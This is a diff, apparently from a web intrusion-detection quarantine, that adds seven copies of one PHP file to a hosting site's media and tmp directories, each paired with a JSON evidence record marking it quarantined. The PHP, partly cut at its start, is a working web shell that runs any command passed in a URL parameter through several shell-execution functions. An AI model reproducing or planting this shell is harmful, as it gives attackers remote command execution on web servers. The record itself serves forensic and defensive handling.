a/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json new file mode 100644 index 0000000..b5ff3eb --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3039", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_xvdnccmk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838218, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_xvdnccmk.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json new file mode 100644 index 0000000..46e236e --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3569", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7lqwo12d.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861960, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_7lqwo12d.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json new file mode 100644 index 0000000..77d36e9 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3541", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7ye9dcos.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857956, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_7ye9dcos.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json new file mode 100644 index 0000000..b4a1ff2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3561", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_cea0tg5l.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857937, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_cea0tg5l.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json new file mode 100644 index 0000000..43e45fd --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3568", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_ge11h1xh.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838209, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_ge11h1xh.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json new file mode 100644 index 0000000..c0fc58f --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3547", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_mmb5h47f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838202, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_mmb5h47f.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json new file mode 100644 index 0000000..d0f19f7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3566", + "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_p2cfauob.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858327, + "size": 1228, + "uid": 20043 + }, + "rel_path": "tmp/_h3x_p2cfauob.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +}